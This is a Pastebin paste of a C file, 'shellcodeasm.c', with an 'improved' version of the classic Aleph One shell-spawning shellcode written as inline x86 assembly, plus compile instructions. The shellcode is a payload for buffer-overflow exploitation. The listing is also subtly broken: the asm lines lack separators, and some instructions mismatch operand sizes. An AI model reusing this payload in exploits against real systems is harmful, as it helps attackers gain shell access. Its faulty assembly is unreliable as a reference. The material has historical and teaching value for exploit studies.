Phr0zen_Penguin

shellcodeasm.c - The (Improved) AlephOne Shellcode

Apr 3rd, 2015
300
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.35 KB | None | 0 0
  1. /*==================================================================================================
  2.   --------------------------------------------------------------------------------------------------
  3.   [shellcodeasm.c]
  4.   The (improved) AlephOne shellcode.
  5.  
  6.         (c) Damion 'Phr0z3n.dev' Tapper, 2015.
  7.         Email: [email protected]
  8.         Website: http://L337Stuff.Blogspot.com
  9.   --------------------------------------------------------------------------------------------------
  10.   ==================================================================================================*/
  11.  
  12. /**
  13.  * Compile with:
  14.  * gcc -o shellcodeasm -g -ggdb shellcodeasm.c
  15.  *
  16.  * The -ggdb switch generates debugging symbols.
  17.  */
  18.  
  19. int main(void)
  20. {
  21.     __asm__(
  22.             "jmp        0x1f                # 2 bytes"
  23.             "popl       %esi                # 1 byte"
  24.             "movl       %esi, 0x8(%esi)     # 3 bytes"
  25.             "xorl       %eax, %eax          # 2 bytes"
  26.             "movb       %eax, 0x7(%esi)     # 3 bytes"
  27.             "movl       %eax, 0xc(%esi)     # 3 bytes"
  28.             "movl       $0xb, %al           # 2 bytes"
  29.             "movl       %esi, %ebx          # 2 bytes"
  30.             "leal       0x8(%esi), %ecx     # 3 bytes"
  31.             "leal       0xc(%esi), %edx     # 3 bytes"
  32.             "int        $0x80               # 2 bytes"
  33.             "xorl       %ebx, %ebx          # 2 bytes"
  34.             "movl       %ebx, %eax          # 2 bytes"
  35.             "inc        %eax                # 1 byte"
  36.             "int        $0x80               # 2 bytes"
  37.             "call       -0x24               # 5 bytes"
  38.             ".string    \"/bin/sh\"         # 8 bytes"
  39.             "                               # 46 bytes total"
  40.     );
  41.  
  42.     return 0;
  43. }
Advertisement
Add Comment
Please, Sign In to add comment